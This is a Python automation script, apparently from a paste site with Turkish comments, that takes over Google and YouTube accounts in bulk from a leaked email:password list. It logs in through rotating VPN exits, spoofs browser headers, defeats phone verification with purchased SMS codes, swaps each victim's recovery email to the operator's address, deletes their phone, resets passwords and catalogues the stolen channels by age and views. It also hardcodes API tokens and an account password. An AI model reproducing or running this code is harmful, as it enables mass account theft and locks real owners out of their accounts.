· 11 years ago · Jul 26, 2015, 05:26 PM
1
2import pyautogui, pyperclip, names, requests
3import telnetlib
4from selenium import webdriver
5from selenium.webdriver.support.ui import WebDriverWait
6
7from random import randint
8from pushover import init, Client
9
10import time, random, string, os, subprocess
11from bs4 import BeautifulSoup
12
13currentdir = os.path.dirname(os.path.realpath(__file__))
14
15with open(os.path.join(currentdir, "info" , "server.txt")) as f:
16 server = f.readlines()
17
18ip = server[0].rstrip("\n")
19ACCOUNT_SID = server[1].rstrip("\n")
20AUTH_TOKEN = server[2].rstrip("\n")
21defaultEmail = "tqmedia02@gmail.com"
22defaulPassword = "tqmedia01"
23
24#api4 = "http://api4.verificationcode.net/order?token=714f25c39711a5bc3eb769166aedf68bea9434b9285758a58fdc4a10c15ece8f"
25api4 = "http://api4.verificationcode.net/order?token=1c1bab2f7fb4aedf94cdbfb4244e194900dfab291cb5d26503131992d9a1b1e7"
26#api4 = "http://api4.verificationcode.net/order?token=318e991607d0d91bc89d9ee2d772969c91bc5f475f68178af979d032646fe2fd"
27
28cities = ["USA - Austin", "USA - Chicago", "USA - Los Angeles", "USA - Miami", "USA - New York", "USA - San Francisco", "USA - Seattle", "USA - Washington"]
29#cities = ["Ireland", "Portugal", "Belgium", "Netherlands", "Luxembourg", "Denmark", "Sweden", "Iceland", "Russia", "Romania", "Norway", "United Kingdom", "Lithuania", "Italy", "Spain", "Finland", "Czech Republic", "Austria", "Germany", "France", "Switzerland", "Poland"]
30
31init("aYDXEfotLvLtwy6hmf14kTPJWwr3nG")
32
33#########################################################
34################## CLICK FUNCTIONS ######################
35#########################################################
36
37def sc(x, y):
38 try:
39 pyautogui.moveTo(x, y, 0.2)
40 pyautogui.click()
41 except:
42 pass
43
44def dc(x, y):
45 try:
46 pyautogui.moveTo(x, y, 0.2)
47 pyautogui.doubleClick()
48 except:
49 pass
50
51def paste():
52 try:
53 return pyperclip.paste()
54 except:
55 pass
56def push(title, message):
57 Client("uD24S65yVEbMXKPmVx1HX8Pjccm8jy").send_message(message, title=title)
58
59#########################################################
60#################### WEB FUNCTIONS ######################
61#########################################################
62
63def goTo(website):
64 pyautogui.hotkey('alt', 'd')
65 pyautogui.typewrite(website, interval=0.01)
66 pyautogui.press('enter')
67
68def goToGmail():
69 goTo("mail.google.com/mail/u/0/h/")
70 time.sleep(4)
71
72def goToEditSecond():
73 pyautogui.press('enter')
74 time.sleep(3.5)
75 goTo("accounts.google.com/b/0/EditUserInfo?hl=en")
76 time.sleep(5)
77 pyautogui.press('enter')
78
79def deletePhone():
80 time.sleep(3.5)
81 goTo("https://myaccount.google.com/phone?utm_source=OGB&pli=1&hl=en")
82 time.sleep(7)
83 text = getBody()
84 if not 'is used to reach' in text:
85 sc(1265, 388)
86 time.sleep(3)
87 sc(974, 763)
88 time.sleep(3)
89 sc(974, 715)
90 time.sleep(3)
91
92def goToChaneMyPass():
93 goTo("accounts.google.com/b/0/EditPasswd?continue=https://myaccount.google.com/&hl=en")
94 time.sleep(3)
95
96def goToMyAccount():
97 goTo('myaccount.google.com/?hl=en')
98 pyautogui.press('enter')
99 time.sleep(3)
100
101def getUrl():
102 pyautogui.hotkey('ctrl', 'l')
103 pyautogui.hotkey('ctrl', 'c')
104 text = paste()
105 try:
106 text = str(text)
107 except:
108 getUrl()
109 return text
110
111def getBody():
112 sc(69, 801)
113 pyautogui.hotkey('ctrl', 'a')
114 pyautogui.hotkey('ctrl', 'c')
115 text = paste()
116 try:
117 text = str(text)
118 except:
119 getBody()
120 return text
121
122def getBodyYt():
123 sc(113, 957)
124 time.sleep(1)
125 pyautogui.hotkey('ctrl', 'a')
126 pyautogui.hotkey('ctrl', 'c')
127 text = paste()
128 try:
129 text = str(text)
130 except:
131 getBody()
132 return text
133
134
135
136#########################################################
137################### GOOGLE FUNCTIONS ####################
138#########################################################
139
140def goGoogle():
141 pyautogui.hotkey('ctrl', 'l')
142 pyautogui.typewrite('accounts.google.com/ServiceLogin?&hl=en')
143 pyautogui.press('enter')
144 time.sleep(3)
145
146def loginGoogle(email, password):
147 goGoogle()
148 pyautogui.hotkey('ctrl', 'a')
149 pyautogui.press('delete')
150 pyautogui.typewrite(email)
151 pyautogui.press('enter')
152 time.sleep(2.5)
153 pyautogui.typewrite(password)
154 pyautogui.press('enter')
155
156def setNewPass():
157 os.startfile(os.path.join(currentdir, "helpers" , "savenewpass.exe"))
158 time.sleep(7)
159
160
161def manuel(expassword, password):
162 goToEditSecond()
163 time.sleep(2)
164 pyautogui.moveTo(1616, 406, 1)
165
166 button7location = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "redarrow.png"))
167 if(button7location != None):
168 buttonx, buttony = pyautogui.center(button7location)
169 pyautogui.click(buttonx, buttony)
170
171 text = getBody()
172 goToEditSecondEmail(text)
173
174 text = text.replace("\n", " ")
175 texts = text.split(" ")
176
177 gmail = ""
178 for t in texts:
179 if("@gmail" in t):
180 gmail = t.replace("\n", "").replace("\t", "")
181 break
182
183
184 deletePhone()
185 time.sleep(3)
186 goTo("https://security.google.com/settings/security/signinoptions/rescueemail?hl=en")
187 time.sleep(4)
188 link = getUrl()
189
190 if("ServiceLogin" in link):
191 sc(865, 446)
192 pyautogui.typewrite(expassword)
193 time.sleep(2)
194 sc(979,502)
195 time.sleep(4)
196
197 sc(906, 313)
198 pyautogui.hotkey('ctrl', 'a')
199 pyautogui.typewrite(defaultEmail)
200
201 sc(1247, 356)
202 sc(1247, 356)
203
204 time.sleep(2)
205 goToChaneMyPass()
206
207 sc(860, 447)
208 sc(860, 447)
209 pyautogui.typewrite(expassword)
210 pyautogui.press('enter')
211 time.sleep(5)
212 pyautogui.typewrite(password)
213 pyautogui.press('tab')
214 pyautogui.press('tab')
215 pyautogui.press('tab')
216 time.sleep(1)
217 pyautogui.typewrite(password)
218 pyautogui.press('tab')
219 pyautogui.press('tab')
220 time.sleep(1)
221 pyautogui.press('enter')
222
223 return str(gmail) + ":" + password
224
225def goToEditSecondEmail(text):
226 pyautogui.press('enter')
227 if "First name" in text:
228 dc(627, 247)
229 pyautogui.hotkey('ctrl', 'a')
230 pyautogui.typewrite(randName)
231 pyautogui.press('tab')
232 pyautogui.typewrite(randSname)
233 os.startfile(os.path.join(currentdir, "helpers" , "secondname.exe"))
234 time.sleep(10)
235 else:
236 os.startfile(os.path.join(currentdir, "helpers" , "secondnoname.exe"))
237 time.sleep(5)
238
239def whereIsGmail(fakeName):
240
241 pyautogui.moveTo(550,560)
242 button7location = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "redarrow.png"))
243 if(button7location != None):
244 buttonx, buttony = pyautogui.center(button7location)
245 pyautogui.click(buttonx, buttony)
246 else:
247 pyautogui.moveTo(1899,83, 2)
248 sc(1899,83)
249
250 dc(1132, 255)
251 pyautogui.typewrite(fakeName, interval=0.10)
252 time.sleep(1)
253 sc(1112, 326)
254 time.sleep(2)
255 dc(1135, 285)
256 pyautogui.hotkey('ctrl', 'c')
257 text = paste()
258 try:
259 text = str(text)
260 except:
261 text = ""
262
263 if("Someone" in text or "Please" in text):
264 return 2
265 elif ("Your" in text):
266 return 3
267 return 1
268
269
270def registerGmail(fakeName, fakeSurname, flag):
271
272 if(flag == 1):
273 pyautogui.doubleClick(1133, 255)
274 pyautogui.typewrite(fakeName, interval=0.10)
275 time.sleep(0.3)
276 pyautogui.press('tab')
277 pyautogui.typewrite(fakeSurname, interval=0.10)
278 time.sleep(0.3)
279 email = fakeName + fakeSurname + str(randint(3000,9999))
280 email = email.lower()
281 pyautogui.press('tab')
282 pyautogui.typewrite("johnmiller", interval=0.10)
283 time.sleep(0.3)
284 pyautogui.press('tab')
285 pyautogui.press('tab')
286 pyautogui.press('delete')
287 pyautogui.press('tab')
288 time.sleep(0.3)
289 pyautogui.press('delete')
290 pyautogui.typewrite(defaultEmail, interval=0.10)
291 pyautogui.press('enter')
292 time.sleep(2)
293 pyautogui.click(1211,378)
294 time.sleep(1)
295 pyautogui.moveTo(1154,326)
296 pyautogui.doubleClick()
297 time.sleep(2)
298 pyautogui.hotkey('ctrl', 'c')
299 gmail = paste()
300 jc = 0
301
302 while "johnmiller" == gmail and jc < 3:
303 pyautogui.click(1211,380)
304 pyautogui.moveTo(1154,326)
305 pyautogui.doubleClick()
306 pyautogui.hotkey('ctrl', 'c')
307 gmail = paste()
308 jc += 1
309
310 pyautogui.press('enter')
311 return str(gmail) + "@gmail.com"
312
313 elif(flag == 0):
314 dc(1161,255)
315 pyautogui.click()
316 time.sleep(1)
317 pyautogui.typewrite("johnmiller", interval=0.45)
318 time.sleep(2)
319 sc(1231,382)
320 time.sleep(1)
321 sc(1236,308)
322 time.sleep(1)
323 pyautogui.moveTo(1161,251)
324 pyautogui.doubleClick()
325 pyautogui.hotkey('ctrl', 'c')
326 gmail = paste()
327 time.sleep(1)
328 pyautogui.press('tab')
329 time.sleep(1)
330 pyautogui.press('tab')
331 time.sleep(1)
332 pyautogui.press('delete')
333 pyautogui.press('tab')
334 time.sleep(1)
335 pyautogui.press('delete')
336 pyautogui.typewrite(defaultEmail, interval=0.30)
337 time.sleep(1)
338 pyautogui.press('enter')
339 return str(gmail) + "@gmail.com"
340 else:
341 dc(1148, 255)
342 pyautogui.hotkey('ctrl', 'c')
343 gmail = paste()
344 sc(1193, 349)
345 pyautogui.hotkey('ctrl', 'a')
346 pyautogui.press('delete')
347 pyautogui.press('tab')
348 time.sleep(1)
349 pyautogui.press('delete')
350 pyautogui.typewrite(defaultEmail, interval=0.30)
351 time.sleep(1)
352 pyautogui.press('enter')
353 return str(gmail) + "@gmail.com"
354
355def changeAccountInfo(expassword, password, text):
356 goToEditSecondEmail(text)
357
358 t0 = time.clock()
359 url = getUrl()
360
361 while("EditUserInfo" in url):
362 if(time.clock() - t0 > 20):
363 return
364 text = getBody()
365 goToEditSecondEmail(text)
366 url = getUrl()
367
368 time.sleep(3)
369
370 deletePhone()
371 goToChaneMyPass()
372
373 time.sleep(4)
374 pyautogui.typewrite(expassword)
375 pyautogui.press('enter')
376 time.sleep(5)
377 pyautogui.typewrite(password)
378 pyautogui.press('tab')
379 pyautogui.press('tab')
380 pyautogui.press('tab')
381 time.sleep(1)
382 pyautogui.typewrite(password)
383 pyautogui.press('tab')
384 pyautogui.press('tab')
385 time.sleep(1)
386 pyautogui.press('enter')
387 return password
388
389#########################################################
390################### PHONE FUNCTIONS #####################
391#########################################################
392
393def enterPhone(phone):
394 pyautogui.typewrite(phone, interval=0.10)
395 pyautogui.press('enter')
396
397def openPhone(phone):
398 try:
399 # spoof some headers so the request appears to be coming from a browser, not a bot
400 headers = {
401 "user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5)",
402 "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
403 "accept-charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.3",
404 "accept-encoding": "gzip,deflate,sdch",
405 "accept-language": "en-US,en;q=0.8",
406 }
407
408 # make the request to the search url, passing in the the spoofed headers.
409 r = requests.get(api4, headers=headers) # assign the response to a variable r
410
411 # check the status code of the response to make sure the request went well
412 if r.status_code != 200:
413 print("request denied")
414 return
415 else:
416 pass
417
418 # convert the plaintext HTML markup into a DOM-like structure that we can search
419 soup = BeautifulSoup(r.text)
420
421 # each result is an <li> element with class="g" this is our wrapper
422 results = soup.findAll("td")
423
424 for i in range(len(results)):
425 if phone in results[i]:
426 c = str(results[i+3]).lstrip("<td>").rstrip("</td>")
427 code = c.split(" ")[5]
428 return code
429 return ""
430 except:
431 return ""
432def enterCode(code):
433 sc(742,382)
434 pyautogui.typewrite(code, interval=0.10)
435 pyautogui.press('enter')
436#########################################################
437################## YOUTUBE FUNCTIONS ####################
438#########################################################
439
440
441def setYoutubeDriver():
442 #changeProxy()
443 global driver
444 driver = webdriver.Firefox()
445 driver.maximize_window()
446 return driver
447
448
449def loginYoutube(email, password):
450 driver.get("https://accounts.google.com/ServiceLogin?passive=true&continue=https://www.youtube.com/my_videos?o=U")
451 time.sleep(3)
452 put(".//*[@id='Email']", email)
453 fbxpath(".//*[@id='next']").click()
454 put(".//*[@id='Passwd']", password)
455 fbxpath(".//*[@id='signIn']").click()
456 time.sleep(8)
457
458def isPicassa():
459 cbutton = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "continue.png"))
460 okbutton = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "ok.png"))
461
462 if(cbutton != None and okbutton == None):
463 return 0
464 elif(cbutton == None and okbutton != None):
465 return 1
466 else:
467 return 2
468
469def regYoutube():
470 time.sleep(12)
471
472 sc(1200, 645)
473 text = None
474 while text == None:
475 pyautogui.hotkey('ctrl', 'a')
476 pyautogui.hotkey('ctrl', 'c')
477 text = paste()
478
479 if "Picasa" in text:
480 os.startfile(os.path.join(currentdir, "helpers" , "picasa.exe"))
481 time.sleep(15)
482 return
483
484 flag = isPicassa()
485 if (flag == 1):
486 time.sleep(2)
487 sc(1175, 690)
488 return
489
490 elif(flag == 0):
491 os.startfile(os.path.join(currentdir, "helpers" , "flag0.exe"))
492 time.sleep(15)
493 return
494
495 if(flag == 2):
496 sc(651, 704)
497 sc(666, 556)
498 sc(666, 556)
499 time.sleep(1)
500 pyautogui.moveTo(958, 792, 2)
501 pyautogui.click(958, 792)
502
503
504def addToYoutube(info):
505 try:
506 sorunlu = open(os.path.join(currentdir, "info" , "server.txt"), "a")
507 sorunlu.write(info + "\n")
508 sorunlu.close()
509 except:
510 print("Dosya acilamadi")
511
512def addToTekrar(info):
513 try:
514 sorunlu = open(os.path.join(currentdir, "source" , "tekrar.txt"), "a")
515 sorunlu.write(info + "\n")
516 sorunlu.close()
517 except:
518 print("Dosya acilamadi")
519
520def fbxpath(xpath):
521 try:
522 return WebDriverWait(driver, 10).until(lambda driver: driver.find_element_by_xpath(str(xpath)))
523 except:
524 return False
525
526def put(xpath, toSend):
527 try:
528 to = WebDriverWait(driver, 10).until(lambda driver: driver.find_element_by_xpath(str(xpath)))
529 time.sleep(1)
530 to.send_keys(toSend)
531 except:
532 return False
533
534def isShowed(xpath):
535 try:
536 WebDriverWait(driver, 7).until(lambda driver: driver.find_element_by_xpath(str(xpath)))
537 return True
538 except:
539 return False
540
541def createYoutube(email, password):
542 driver.get("https://www.youtube.com/my_videos?o=U")
543 time.sleep(8)
544 text = getBody()
545
546 if("Help us keep your account secure" in text
547 or "Cookies help" in text):
548 driver.get("https://www.youtube.com/my_videos?o=U")
549 time.sleep(7)
550 text = getBody()
551
552 if "Don't get locked out" in text:
553 sc(980, 713)
554 sc(980, 713)
555 sc(980, 713)
556 time.sleep(7)
557 driver.get("https://www.youtube.com/my_videos?o=U")
558 time.sleep(7)
559
560 if "oops" in driver.current_url:
561 time.sleep(2)
562 driver.get("https://www.youtube.com/my_videos?o=U")
563
564 if "Use YouTube as..." in text:
565 sc(866 ,526)
566 driver.get("https://www.youtube.com/my_videos?o=U")
567 time.sleep(10)
568 text = getBody()
569
570 if "Create a channel" in text:
571 flag = 0
572 fbxpath(".//*[@id='creator-page-content']/div[1]/a").click()
573 regYoutube()
574
575 elif "YouTube channel has content but has been disabled" in text:
576 fbxpath(".//*[@id='vm-general-notifs']/div/div[2]/div/a[1]")
577 time.sleep(3)
578 regYoutube()
579 else:
580 flag = 1
581
582 driver.get("https://www.youtube.com/analytics?o=U")
583 t0 = time.clock()
584
585 while "my_videos" in driver.current_url:
586 if time.clock() - t0 > 25:
587 addToYoutube(email +":" + password)
588 return False
589 time.sleep(2)
590 sc(1875, 91)
591 time.sleep(1)
592 sc(1853, 280)
593 time.sleep(3)
594 driver.get("https://accounts.google.com/ServiceLogin?passive=true&continue=https://www.youtube.com/my_videos?o=U")
595 time.sleep(5)
596 pyautogui.typewrite(password)
597 sc(990, 580)
598 time.sleep(2)
599 url = driver.current_url
600 c = 0
601 if("Help us keep your account secure" in text
602 or "Cookies help" in text):
603 driver.get("https://www.youtube.com/my_videos?o=U")
604 time.sleep(7)
605 text = getBody()
606 while("ServiceLogin" in url and c < 3):
607 pyautogui.typewrite(password)
608 sc(990, 580)
609 time.sleep(2)
610 url = driver.current_url
611 c += 1
612 driver.get("https://www.youtube.com/my_videos?o=U")
613 try:
614 fbxpath(".//*[@id='creator-page-content']/div[1]/a").click()
615 except:
616 driver.get("https://www.youtube.com/dashboard?o=U")
617 break
618 time.sleep(4)
619 sc(1170, 690)
620 driver.get("https://www.youtube.com/analytics?o=U")
621
622 time.sleep(10)
623 if "analytics" not in driver.current_url:
624 driver.get("https://www.youtube.com/analytics?o=U")
625 time.sleep(10)
626 try:
627 date = fbxpath(".//*[@id='gwt-debug-metadataList']/span[1]").text.lstrip("Created: ").replace(",", "")
628 except:
629 date = "kontroledilecek"
630
631 try:
632 subscriber = fbxpath(".//*[@id='dashboard-header-stats']/li[2]/div[1]").text
633 views = fbxpath(".//*[@id='dashboard-header-stats']/li[1]/div[1]").text
634 except:
635 return
636 if len(views) > 7:
637 push("Yuksek izlenme!", "Kontrol etmelisin.. Ip: " + ip)
638 fbxpath(".//*[@id='dashboard-header-user-name-and-label']/h2/a").click()
639 time.sleep(2)
640 channelUrl = driver.current_url
641
642 if("2005" in date):
643 dateFile = 2005
644 elif("2006" in date):
645 dateFile = 2006
646 elif("2007" in date):
647 dateFile = 2007
648 elif("2008" in date):
649 dateFile = 2008
650 elif("2009" in date):
651 dateFile = 2009
652 elif("2010" in date):
653 dateFile = 2010
654 elif("2011" in date):
655 dateFile = 2011
656 elif("2012" in date):
657 dateFile = 2012
658 elif("2013" in date):
659 dateFile = 2013
660 elif("2014" in date):
661 dateFile = 2014
662 elif("2015" in date):
663 dateFile = 2015
664 else:
665 dateFile = "kontroledilecek"
666 print(str(date))
667 saveYoutube(email, password, channelUrl, dateFile, date, subscriber, views)
668
669
670def saveYoutube(email, password, url, dateFile, date, subscriber, views):
671 try:
672 info = str(email) + "::" + str(password).rstrip("\n") + "::" + str(url) + "::" + str(date) + "::" + str(subscriber) + "::" + str(views) + "::" + defaultEmail
673 hesaplar = open(os.path.join(currentdir, "save" , str(dateFile) + ".txt"), "a")
674 hesaplar.write(info + "\n")
675 hesaplar.close()
676 except:
677 print("Dosya acilamadi.")
678
679#########################################################
680#################### SAVE FUNCTIONS #####################
681#########################################################
682
683def addToGmail(info):
684 try:
685 hesaplar = open(os.path.join(currentdir, "save" , "gmail.txt"), "a")
686 hesaplar.write(info + "\n")
687 hesaplar.close()
688 except:
689 print("Dosya acilamadi.")
690
691def addToCop(info):
692 try:
693 cop = open(os.path.join(currentdir, "source" , "cop.txt"), "a")
694 cop.write(info[0] + ":" + info[1])
695 cop.close()
696 except:
697 print("Dosya acilamadi.")
698
699def addToOzel(info):
700 try:
701 ozel = open(os.path.join(currentdir, "source" , "ozel.txt"), "a")
702 ozel.write(info[0] + ":" + info[1])
703 ozel.close()
704 except:
705 print("Dosya acilamadi.")
706
707def addToTekrar(info):
708 try:
709 ozel = open(os.path.join(currentdir, "source" , "tekrar.txt"), "a")
710 ozel.write(info[0] + ":" + info[1])
711 ozel.close()
712 except:
713 print("Dosya acilamadi.")
714def addToTekrarYT(info):
715 try:
716 ozel = open(os.path.join(currentdir, "save" , "tekraryt.txt"), "a")
717 ozel.write(info)
718 ozel.close()
719 except:
720 print("Dosya acilamadi.")
721
722def addToCaptcha(info):
723 try:
724 ozel = open(os.path.join(currentdir, "source" , "captcha.txt"), "a")
725 ozel.write(info[0] + ":" + info[1])
726 ozel.close()
727 except:
728 print("Dosya acilamadi.")
729
730def addToYoutube(info):
731 try:
732 sorunlu = open(os.path.join(currentdir, "save" , "tekrardenenecekyoutube.txt"), "a")
733 sorunlu.write(info + "\n")
734 sorunlu.close()
735 except:
736 print( "Dosya acilamadi")
737
738def updateList(i):
739 try:
740
741 with open(os.path.join(currentdir, "source" , "ayiklanacak.txt"), 'w') as fout:
742 fout.writelines(content[i+1:])
743 except:
744 print("Dosya acilamadi.")
745
746
747#########################################################
748################## DRIVER FUNCTIONS #####################
749#########################################################
750
751def createDriver():
752 pyperclip.copy('')
753 global loginC
754 loginC = 0
755 os.system("taskkill /f /t /im firefox.exe")
756 changeProxy()
757 os.startfile("C:\\\Program Files (x86)\\\Mozilla Firefox\\firefox.exe")
758 time.sleep(7)
759
760def changeProxy():
761
762 os.startfile(os.path.join(currentdir, "helpers" , "processkill.exe"))
763 # Path to OpenVPN program
764 vypr_bin = "C:\\Program Files\\OpenVPN\\bin\\openvpn.exe"
765 # Path to username/password
766 vypr_auth = "C:\\Users\\Administrator\\Desktop\\youtube\\vypr_auth.txt"
767 # Path to config file. What's server do you want connect to?
768
769 vpn_mgt_host = "127.0.0.1"
770 vpn_mgt_port = "7777"
771 c = random.randint(0, 7)
772 vypr_conf = "C:\\Users\\Administrator\\Desktop\\youtube\\config\\" + cities[c] + ".ovpn"
773 vpn_params = [vypr_bin, "--management", vpn_mgt_host, vpn_mgt_port,
774 "--management-hold", "--config", vypr_conf,
775 "--auth-user-pass", vypr_auth, "--log", "C:\\Users\\Administrator\\Desktop\\youtube\\info\\openvpn.log"]
776
777 # Delete all tap devices
778 subprocess.call("deltapall.bat", shell=True)
779
780 # Add tap devices
781 subprocess.call("addtap.bat", shell=True)
782
783 # Run OpenVPN daemon but management hold
784 prog = subprocess.Popen(vpn_params, shell=True,
785 stdin=None, stdout=None, stderr=None, close_fds=True)
786
787 # vpn_pid = prog.pid
788
789 # Connect to OpenVPN management daemon
790 tn = telnetlib.Telnet(vpn_mgt_host, vpn_mgt_port)
791 # Turn on log
792 tn.write(("log on\r\n").encode('ascii'))
793 time.sleep(1)
794 # Hold release
795 tn.write(("hold release\r\n").encode('ascii'))
796 time.sleep(2)
797 # Waiting to OpenVPN connected
798 time.sleep(15)
799 print ("Connected to " + cities[c])
800
801def endSession():
802 pyautogui.hotkey('alt', 'f4')
803 os.startfile(os.path.join(currentdir, "helpers" , "processkill.exe"))
804 time.sleep(5)
805 updateList(i)
806 createDriver()
807
808def checkSuccess(failC, sucC, loginC):
809 if loginC > 30:
810 endSession()
811 if i % 50 != 0:
812 return
813 try:
814 failRate = failC / sucC
815 except:
816 failRate = failC
817
818 if failRate > 49:
819 updateList(i)
820
821 if failRate > 500:
822 push("Hata Cogaldi!", "Hata orani 500u gecti! " + ip)
823 sys.exit(1)
824
825with open(os.path.join(currentdir, "source" , "ayiklanacak.txt"), 'r') as f:
826 content = f.read().splitlines(True)
827with open(os.path.join(currentdir, "info" , "telefonlar.txt"), 'r') as f:
828 phones = f.read().splitlines(True)
829######################################################
830
831failC = 0
832sucC = 0
833
834k = 0
835p = 0
836print(str(len(content)) + " adet hesap var.")
837createDriver()
838try:
839 for i in range(len(content)):
840 checkSuccess(failC, sucC, loginC)
841 try:
842 info = content[i].split(":")
843 email = info[0]
844 password = info[1].rstrip("\n")
845 if(len(password) < 6 or "@" not in email):
846 continue
847 print("Kullanci Adi: " + email + "\n" + "Sifre: " + password)
848 print("Succes: " + str(sucC) + " Fail: " + str(failC))
849 chars = string.ascii_letters + string.digits
850 newPass = ''.join(random.SystemRandom().choice(chars) for i in range(10))
851 randName = names.get_first_name(gender='male')
852 randSname = names.get_last_name()
853 except:
854 addToOzel(content[i].split(":"))
855 time.sleep(2)
856 continue
857 try:
858 phone = phones[p].rstrip("\n")
859 except:
860 p = 0
861 phone = phones[p].rstrip("\n")
862
863 try:
864 loginGoogle(email, password)
865 loginC += 1
866 except:
867 addToCop(info)
868 continue
869
870 if "gmail" in email:
871 time.sleep(6)
872 else:
873 time.sleep(3)
874 text = getBody()
875
876 if("One account. All of Google." in text
877 or "Sorry, Google doesn't recognize" in text
878 or "Your Google Account is managed by" in text
879 or "Sorry, we can't process" in text
880 or "Google" not in text
881 or "We've detected unusual activity" in text
882 or "2-Step verification" in text
883 ):
884
885 if("Letters are" in text or "Firefox" in text):
886 addToCaptcha(info)
887 endSession()
888 k = 0
889 continue
890 elif "privacy reminder" in text:
891 os.startfile(os.path.join(currentdir, "helpers" , "privacy.exe"))
892 time.sleep(5)
893 else:
894 addToCop(info)
895 failC += 1
896 k = 0
897 continue
898 elif ("Letters are" in text):
899 addToCaptcha(info)
900 k = 0
901 endSession()
902 continue
903 elif "Please re-enter" in text:
904 addToOzel(content[i-1].split(":"))
905 endSession()
906 elif "Firefox" in text:
907 addToCaptcha(info)
908 k = 0
909 endSession()
910 elif "Google" not in text:
911 addToCop(info)
912 failC += 1
913 k = 0
914 continue
915 else:
916 time.sleep(3)
917 url = getUrl()
918
919 url = getUrl()
920 if "privacyreminder" in url:
921 os.startfile(os.path.join(currentdir, "helpers" , "privacy.exe"))
922 time.sleep(7)
923 url = getUrl()
924
925 if "VerifiedPhoneInterstitial" in url:
926 time.sleep(2)
927 sc(1113,800)
928 time.sleep(5)
929 url = getUrl()
930
931 elif not "google" in url:
932 addToCop(info)
933 failC += 1
934 continue
935
936 elif "LoginVerification" in url:
937 text = getBody()
938 if("Tell us the city" in text
939 or "Answer your secret question" in text
940 or "Enter your recovery" in text
941 or "Android" in text
942 or "Receive a verification" in text
943 or "Tell us your phone number" in text):
944 if("Enter a phone" not in text
945 or "Sorry, we can't process" in text):
946 addToCop(info)
947 failC += 1
948 continue
949 if "Tell us the city" in text:
950 sc(747, 452)
951 else:
952 sc(745,427)
953 enterPhone(phone)
954 time.sleep(4)
955 text = getBody()
956 sc(758, 618)
957
958 while "already" in text :
959 p += 1
960 if(p == len(phones)):
961 p = 0
962 phone = phones[p].rstrip("\n")
963 sc(742,382)
964 pyautogui.hotkey('ctrl', 'a')
965 pyautogui.press('delete')
966 code = openPhone(phone)
967 enterCode(code)
968 time.sleep(5)
969 text = getBody()
970 sc(758, 618)
971 if "until in text":
972 continue
973
974 cC = 0
975 while cC < 3:
976 sc(742,382)
977 pyautogui.hotkey('ctrl', 'a')
978 pyautogui.press('delete')
979 code = openPhone(phone)
980 enterCode(code)
981 time.sleep(5)
982 url = getUrl()
983 if not "LoginVerification" in url:
984 break
985 else:
986 time.sleep(6)
987 cC += 1
988
989
990 elif("ChangePassword" in url):
991 setNewPass()
992 newPass = defaulPassword + "\n"
993 password = defaulPassword + "\n"
994 goToGmail()
995
996 elif("google" not in url or "ServiceLoginAuth" in url):
997 addToCop(info)
998 failC += 1
999 continue
1000
1001 elif("RecycledEmailInterstitial" in url
1002 or "AccountRecoveryOptionsPrompt" in url
1003 or "myaccount" in url):
1004 time.sleep(3)
1005 goToGmail()
1006
1007 elif("EmailNotVerified" in url):
1008 time.sleep(3)
1009 goToGmail()
1010 time.sleep(4)
1011 url = getUrl()
1012 if("ServiceLogin" in url):
1013 sc(882,448)
1014 pyautogui.typewrite(str(randint(1960,1994)), interval=0.2)
1015 pyautogui.press('enter')
1016 time.sleep(4)
1017 url = getUrl()
1018 time.sleep(3)
1019
1020 else:
1021 print("-----RAPOR EDILMELI!!!!")
1022 addToOzel(info)
1023 endSession()
1024 continue
1025
1026 time.sleep(9)
1027 url = getUrl()
1028 time.sleep(1)
1029 try:
1030 sc(1899,83)
1031 except:
1032 pass
1033 if "privacyreminder" in url:
1034 sc(1231, 984)
1035 time.sleep(2)
1036 sc(1231, 984)
1037 time.sleep(5)
1038 goToGmail()
1039 time.sleep(5)
1040 url = getUrl()
1041 if("EmailNotVerified" in url):
1042 time.sleep(3)
1043 goToGmail()
1044 time.sleep(5)
1045 url = getUrl()
1046 if("ServiceLogin" in url):
1047 sc(882,448)
1048 pyautogui.typewrite(str(randint(1960,1994)), interval=0.2)
1049 pyautogui.press('enter')
1050 time.sleep(3)
1051 url = getUrl()
1052 time.sleep(6)
1053
1054 if("myaccount" in url):
1055 goToGmail()
1056 time.sleep(5)
1057 url = getUrl()
1058
1059 if("ServiceLogin" in url):
1060 sc(882,448)
1061 pyautogui.typewrite(str(randint(1960,1994)), interval=0.2)
1062 pyautogui.press('enter')
1063 time.sleep(3)
1064 url = getUrl()
1065
1066 if("AccountRecoveryOptionsPrompt" in url):
1067 addToTekrar(info)
1068 continue
1069
1070 if("mail/" in url):
1071 gmail = manuel(password, newPass)
1072 g = gmail.split(":")
1073 gmail = g[0]
1074 newPass = g[1]
1075
1076 elif("ChangePassword" in url):
1077
1078 setNewPass()
1079 newPass = defaulPassword + "\n"
1080 password = defaulPassword + "\n"
1081 time.sleep(8)
1082 goToGmail()
1083 time.sleep(5)
1084 url = getUrl()
1085 if("mail/" not in url):
1086 flag = whereIsGmail(randName)
1087 if(flag==1):
1088 gmail = registerGmail(randName, randSname, 1)
1089 goToEditSecond()
1090 text = getBody()
1091
1092 try:
1093 if(not "@gmail.com" in text):
1094 addToOzel(info)
1095 failC += 1
1096 endSession()
1097 continue
1098 except:
1099 pass
1100
1101 newPass = changeAccountInfo(password, newPass, text)
1102
1103 elif(flag==2):
1104 gmail = registerGmail(randName, randSname, 0)
1105 goToEditSecond()
1106 text = getBody()
1107
1108 try:
1109 if(not "@gmail.com" in text):
1110 addToOzel(info)
1111 failC += 1
1112 endSession()
1113 continue
1114 except:
1115 pass
1116
1117 newPass = changeAccountInfo(password, newPass, text)
1118
1119 elif(flag == 3):
1120 addToCop(info)
1121 failC += 1
1122 endSession()
1123 continue
1124 else:
1125 gmail = manuel(newPass, newPass)
1126 g = gmail.split(":")
1127 gmail = g[0]
1128 newPass = g[1]
1129
1130 elif("inbox" in url):
1131 gmail = manuel(password, newPass)
1132 g = gmail.split(":")
1133 gmail = g[0]
1134 newPass = g[1]
1135
1136 elif("AddMailService" in url):
1137 pyautogui.moveTo(1899,83)
1138 time.sleep(1)
1139 sc(1899,83)
1140 time.sleep(1)
1141 flag = whereIsGmail(randName)
1142 if(flag==1):
1143 gmail = registerGmail(randName, randSname, 1)
1144 goToEditSecond()
1145 text = getBody()
1146
